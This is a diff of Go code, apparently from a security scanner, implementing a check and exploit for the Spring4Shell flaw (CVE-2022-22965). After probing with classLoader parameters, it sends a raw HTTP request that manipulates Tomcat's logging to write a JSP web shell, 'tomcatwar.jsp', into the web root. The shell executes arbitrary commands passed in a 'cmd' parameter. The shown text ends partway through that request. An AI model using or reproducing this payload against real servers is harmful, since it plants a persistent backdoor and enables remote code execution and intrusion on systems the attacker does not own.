@@ -8,17 +8,20 @@ import (
88)
99
1010func CVE_2022_22965 (u string ) bool {
11- if req , err := util .HttpRequset (u + "?class.module.classLoader%5b1%5d=1" , "GET" , "" , false , nil ); err == nil {
12- if req .StatusCode == 500 {
13- if req2 , err := util .HttpRequset (u + "?class.module.classLoader=1" , "GET" , "" , false , nil ); err == nil {
14- if req2 .StatusCode == 200 {
15- return true
11+ if oU , err := url .Parse (u ); nil == err && oU .Host != "" {
12+ szUrl := oU .Scheme + "://" + oU .Host
13+ if req , err := util .HttpRequset (szUrl + "?class.module.classLoader%5b1%5d=1" , "GET" , "" , false , nil ); err == nil {
14+ if req .StatusCode == 500 {
15+ if req2 , err := util .HttpRequset (szUrl + "?class.module.classLoader=1" , "GET" , "" , false , nil ); err == nil {
16+ if req2 .StatusCode == 200 {
17+ return true
18+ }
1619 }
1720 }
1821 }
19- }
20- if oU , err := url .Parse (u ); nil == err && oU .Host != "" {
22+
2123 cc := socket .NewCheckTarget (u , "tcp" , 50 )
24+ defer cc .Close ()
2225 cc .SendPayload ([]byte (strings .ReplaceAll (`GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
2326Host: ` + oU .Host + `
2427Accept-Encoding: gzip, deflate
0 commit comments